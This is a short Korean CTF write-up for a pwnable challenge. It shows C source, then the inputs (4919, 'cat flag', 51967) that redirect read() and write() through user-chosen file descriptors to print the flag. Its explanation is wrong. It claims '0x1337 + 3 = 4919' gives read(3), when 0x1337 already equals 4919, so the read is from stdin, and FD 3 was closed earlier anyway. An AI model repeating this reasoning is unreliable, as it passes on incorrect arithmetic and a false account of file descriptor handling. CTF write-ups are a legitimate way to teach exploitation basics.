문제 개요
파일 디스크립터(File Descriptor)를 간접적으로 조작하여 /flag
파일의 내용을 출력하게 하는 포너블 문제입니다.
소스코드 요약
void open_flag() {
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
perror("can't find /flag! please contact admin");
return;
}
read(fd, flag_buf, 0x100);
close(fd);
}
int main() {
int fd;
char command[0x100];
open_flag();
printf("fd1 > ");
scanf("%d", &fd);
read(fd - 0x1337, command, 0x100);
if (!strncmp(command, "cat flag", 8)) {
printf("fd2 > ");
scanf("%d", &fd);
write(fd - 0xcafe, flag_buf, 0x100);
}
}
취약점 분석
read(fd - 0x1337, ...)
→ 사용자가 입력한 값에서 0x1337을 뺀 파일 디스크립터를 사용write(fd - 0xcafe, ...)
→ 마찬가지로 사용자 입력으로write()
대상 FD 제어open("/flag", O_RDONLY)
는 보통 FD 3번에 열림 (0=stdin, 1=stdout, 2=stderr 다음)
익스플로잇 과정
1. fd1 >
입력
0x1337 + 3 = 4919
를 입력하면, 내부적으로read(3, ...)
이 되어 우리가 입력하는 문자열을command
에 넣을 수 있음
2. command
입력
cat flag
문자열을 입력하면strncmp(command, "cat flag", 8)
조건 통과
3. fd2 >
입력
0xcafe + 1 = 51967
을 입력하면write(1, flag_buf, 0x100)
→ 표준 출력(stdout)에 플래그 출력됨
최종 익스플로잇 입력 예시
$ ./fd_bypass
fd1 > 4919
cat flag
fd2 > 51967
Kuality{ef9bda07523df11b0e55db564e301af9e708eb400bd9eaa109ce717c858cbecf}
결론
간단한 FD 계산을 통해 조건문을 통과하고, read/write 대상으로 stdout과 open된 FD를 맞추는 것이 핵심인 문제입니다.